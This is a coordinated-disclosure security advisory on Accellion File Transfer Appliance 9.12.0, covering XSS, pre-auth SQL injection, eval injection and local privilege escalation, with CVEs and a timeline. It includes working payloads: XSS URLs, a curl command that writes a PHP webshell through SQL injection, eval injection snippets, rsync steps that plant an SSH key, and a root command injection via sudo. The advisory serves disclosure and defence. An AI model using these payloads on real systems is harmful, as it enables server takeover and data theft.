By Orange Tsai
About Accellion FTA
Accellion File Transfer Appliance (FTA
) is a secure file transfer service which enables users to share and sync files online with AES 128/256 encryption. The Enterprise version further incorporates SSL VPN services with integration of Single Sign-on mechanisms like AD, LDAP and Kerberos.
Vulnerability Details
In this research, the following vulnerabilities were discovered on the FTA version FTA_9_12_0 (13-Oct-2015 Release)
- Cross-Site Scripting x 3
- Pre-Auth SQL Injection leads to Remote Code Execution
- Known-Secret-Key leads to Remote Code Execution
- Local Privilege Escalation x 2
The above-mentioned vulnerabilities allow unauthenticated attackers to remotely attack FTA servers and gain highest privileges successfully. After the attackers fully controlled the servers, they will be able to retrieve the encrypted files and user data, etc.
After reporting to CERT/CC, these vulnerabilities were assigned 4 CVEs (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353).
Areas Affected
According to a public data reconnaissance, there are currently 1,217 FTA servers online around the world, most of which are located in the US, followed by Canada, Australia, UK, and Singapore.
Determine from the domain name and SSL Certificate of these servers, FTA is widely used by governmental bodies, educational institutions, enterprises, including several well-known brands.
Vulnerability Analysis and Exploitation
Multiple Cross-Site Scripting (CVE-2016-2350)
1. XSS in move_partition_frame.html
https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//
2. XSS in getimageajax.php
https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//
3. XSS in wmInfo.html
https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)
Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)
After code reviewing, a pre-authentication SQL Injection vulnerability was found in FTA. This vulnerability grants malicious users access to sensitive data and personal information on the server through SQL Injection, and launch remote code execution (RCE) by further exploiting privilege-escalating vulnerabilities.
The key to this problem lies in the client_properties( ... )
function called by security_key2.api!
/home/seos/courier/security_key2.api
// ...
$password = _decrypt( $password, _generate_key( $g_app_id, $client_id, $g_username ) );
opendb();
$client_info = client_properties( $client_id )[0];
// ...
Among these parameters, $g_app_id
$g_username
$client_id
and $password
are controllable by the attackers. And although the function _decrypt( ... )
handles the passwords, it does not involve in the triggering of the vulnerability.
One thing to pay special attention is that the value of $g_app_id
will be treated as a global variable which represents the current Application ID in use, and will be applied in opendb( )
accordingly. The code in opendb( )
includes the following lines:
In mysql_select_db
, the name of the database to be opened is controllable by the user. If wrong value was given, the program will be interrupted. Therefore, $g_app_id
must be forged correctly.
The following lines are the most important function client_properties( $client_id )
.
function client_properties($client_id = '', $user = '', $manager = '', $client_type = 0, $client_name = '', $order_by = 'client_id', $order_type = 'a', $limit = '', $offset = '', $exclude_del = 1, $user_type = '', $user_status = '') {
$sql = ($user_type = '' ? 'SELECT t_mail_server.* FROM t_mail_server ' : 'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');
$filter['client_id'] = $client_id;
$filter['client_name'] = $client_name;
$filter['client_type'] = $client_type;
$filter['user'] = mysql_escape_like( $user );
$filter['user_type'] = $user_type;
$filter['manager'] = $manager;
$filter['user_status'] = $user_status;
$sql &= construct_where_clause( $filter, $exclude_del );
// ...
$result = array( );
@mysql_query( $sql );
( $db_result = || fatal_error( 'exec:mysql_query(' . $sql . ') respond:' . mysql_error( ), __FILE__, 221 ) );
function construct_where_clause($filter, $exclude_del = 1) {
$where_clause = array( );
$where_clause[] = 'c_server_id != \'999\'';
if ($exclude_del) {
$where_clause[] = '!(t_mail_server.c_flag & ' . CLIENT_DELETED . ')';
}
if ($filter['client_id'] != '') {
$where_clause[] = 'c_server_id = \'' . $filter['client_id'] . '\'';
}
if ($filter['manager'] != '') {
$filter['manager'] = mysql_real_escape_string( $filter['manager'] );
$where_clause[] = 'c_manager = \'' . $filter['manager'] . '\'';
}
if ($filter['client_name'] != '') {
$filter['client_name'] = mysql_real_escape_string( $filter['client_name'] );
$where_clause[] = 't_mail_server.c_name LIKE \'%' . $filter['client_name'] . '%\'';
}
if (( $filter['user'] != '' && $filter['user'] != '%%' )) {
$filter['user'] = mysql_real_escape_string( $filter['user'] );
$where_clause[] = 't_mail_server.c_user_id LIKE \'' . $filter['user'] . '\'';
}
The parameters passed onto the function client_properties( ... )
will be assembled into SQL statements. Among all the functions joining the assembling, construct_where_clause( ... )
is the most crucial one.
In the function construct_where_clause( ... )
, every parameter is protected by the string mysql_real_escape_string
except for $client_id
. Judging from the coding style of the source code, it might be a result of oversight. Therefore, SQL Injection can be triggered by sending out corresponding parameters according to the program flow.
In addition, FTA database user has root privileges with FILE_PRIV option enabled. By exploiting INTO OUTFILE
and writing their own PHP code to write-enabled directory, user will be able to execute code remotely!
PoC
$ curl https://<fta>/courier/[email protected]/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"
The created PHP file will be located at
http://<fta>/courier/themes/templates/.cc.php
Known-Secret-Key leads to Remote Code Execution
In the previous vulnerability, one requirement to execute code remotely is the existence of a write-enabled directory for injecting webshell. But in reality, chances are there is no write-enabled directory available, thus fail to execute code through SQL Injection. But there is another way to help us accomplish RCE.
The precondition of this vulnerability is Known-Secret-Key stored in the database
This is not a problem, since the database can be accessed with the SQL Injection vulnerability mentioned earlier. Also, although there are some parameter filters in the code, they can be bypassed!
/home/seos/courier/sfUtils.api
$func_call = decrypt( $_POST['fc'] );
$orig_func = '';
if (preg_match( '/(.+)\(.*\)/', $func_call, $func_match )) {
$orig_func = $func_call;
$func_call = $func_match[1];
}
$cs_method = array( 'delete_session_cache', 'delete_user_contact', 'valid_password', 'user_password_update_disallowed', 'user_password_format_disallowed', 'get_user_contact_list', 'user_email_verified', 'user_exist_allow_direct_download', 'user_profile_auth' );
if (( !$func_call || !in_array( $func_call, $cs_method ) )) {
return false;
}
if ($orig_func) {
$func_call = $orig_func;
}
if ($func_call == 'get_user_contact_list') {
if (!$_csinfo['user_id']) {
return false;
}
if (preg_match( '/[\\\/"\*\:\?\<\>\|&]/', $_POST['name'] )) {
return false;
}
$func_call = 'echo(count(' . $func_call . '("' . $_csinfo['user_id'] . '", array("nickname"=>"' . addslashes( $_POST['name'] ) . '"))));';
} else {
if (isset( $_POST['p1'] )) {
$func_param = array( );
$p_no = 7;
while (isset( $_POST['p' . $p_no] )) {
$func_param[] = str_replace( '\'', '\\\'', str_replace( '$', '\\$', addslashes( $_POST['p' . $p_no] ) ) );
++$p_no;
}
$func_call = 'echo(' . $func_call . '("' . join( '", "', $func_param ) . '"));';
}
}
echo @eval( $func_call );
If Known-Secret-Key has been acquired, the output of decrypt( $_POST[fc] ) will be controllable. And despite that the succeeding regular expressions work as a function name whitelist filter, they do not filter parameters.
Therefore, the only restriction for injecting random codes in the parameters is to exclude (
)
in the strings. But thanks to the flexible characteristic of PHP, there are lots of ways to manipulate, just to name two examples here.
Execute system commands directly by using backticks (`)
user_profile_auth(`$_POST[cmd]`);
A more elegant way: use the syntax INCLUDE to include the tmp_name of the uploaded files, so that any protection will give way.
user_profile_auth(include $_FILES[file][tmp_name]);
Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)
After gaining PHP page privileges, we discovered that the privileges were assigned to user nobody. In order to engage in advanced recon, the web environment had been observed. After the observation, two possible privilege escalation vulnerabilities were identified.
1. Incorrect Rsync Configuration
/etc/opt/rsyncd.conf
log file = /home/soggycat/log/kennel.log
...
[soggycat]
path = /home/soggycat
uid = soggycat
read only = false
list = false
...
The module name soggycat is readable and writable to anyone for the directory /home/soggycat/
, therefore the SSH Key can be written into /home/soggycat/.ssh/
and then use the soggycat credential to login.
bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
bash-3.2$ rsync 0::soggycat/.ssh/
drwx------ 4096 2016/01/29 18:13:41 .
-rw-r--r-- 606 2016/01/29 18:13:41 authorized_keys
bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/
bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no [email protected] id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0' (RSA) to the list of known hosts.
uid=520(soggycat) gid=99(nobody) groups=99(nobody)
2. Command Injection in “yum-client.pl”
To enable system updates through web UI, the sudoers configuration in FTA exceptionally allows the user nobody to directly execute commands with root privileges and update software with the program yum-client.pl
.
/etc/sudoers
...
Cmnd_Alias YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specification
root ALL=(ALL) ALL
admin ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobody ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radmin ALL =NOPASSWD: RESET_APPL
...
YUM_CLIENT
is the command for proceeding updates. Part of the codes are as follows:
/usr/local/bin/yum-client.pl
...
GetOptions (
'help' => \$help,
'download_only' => \$download_only,
'list' => \$list,
'cache' => \$cache,
'clearcache' => \$clearcache,
'cdrom=s' => \$cdrom,
'appid=s' => \$appid,
'servername=s' => \$servername,
'version=s' => \$version,
'token=s' => \$token);
my $YUM_CMD = "/usr/bin/yum";
if ($cache){
$YUM_CMD = "$YUM_CMD -C";
}
# if this is based on RHEL 5, change the repository
my $OS = `grep -q 5 /etc/redhat-release && echo -n 5`;
my $LOGFILE = "/home/seos/log/yum-client.log";
my $STATUSFILE = "/home/seos/log/yum-client.status";
my $YUMCONFIG = "/etc/yum.conf";
my $YUMDIFF_FILE = '/home/seos/log/yum.diff';
if ($cdrom){
if ($OS eq "5"){
$YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf-5";
}else{
$YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf";
}
system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path") == 0 or fdielog($LOGFILE,"unable to mount: $!");
}
After taking a closer look on ymm-client.pl
, a Command Injection vulnerability was found on the parameter --cdrom
. This vulnerability enables attackers to inject any commands into the parameter and execute as root.
Thus, using the commands below
bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'
mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.
bash-3.2$ cat /tmp/.gg
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
will grant execution freely as root!
Backdoor
After gaining the highest privilege and carrying out server recon, we identified that several backdoors had been already planted in FTA hosts. One of them is an IRC Botnet which had been mentioned in Niara’s Accellion File Transfer Appliance Vulnerability.
Apart from that, two additional PHP Webshells of different types which had NEVER been noted in public reports were also identified. Through reviewing Apache Log, these backdoors might be placed by exploiting the CVE-2015-2857 vulnerability discovered in mid-2015.
One of the backdoors is PHPSPY, it is found on 62 of the online hosts globally. It was placed in
https://<fta>/courier/themes/templates/Redirector_Cache.php
The other is WSO, found on 9 of the online hosts globally, placed in
https://<fta>/courier/themes/templates/imag.php
Acknowledgement
The vulnerability mentioned in this Advisory was identified in early 2016 while looking for vulnerabilities in Facebook, you can refer to the article “How I Hacked Facebook, and Found Someone’s Backdoor Script”.
Upon discovering the FTA vulnerability in early February, I notified Facebook and Accellion and both were very responsive. Accellion responded immediately, issuing patch FTA_9_12_40 on February 12th and notifying all affected customers about the vulnerability and instructions to install the patch. Accellion has been very communicative and cooperative throughout this process.
Timeline
- Feb 6, 2016 05:21 Contact Accellion for vulnerability report
- Feb 7, 2016 12:35 Send the report to Accellion Support Team
- Mar 3, 2016 03:03 Accellion Support Team notifies patch will be made in FTA_9_12_40
- May 10, 2016 15:18 Request Advisory submission approval and report the new discovery of two backdoors to Accellion
- Jun 6, 2016 10:20 Advisory finalized by mutual consent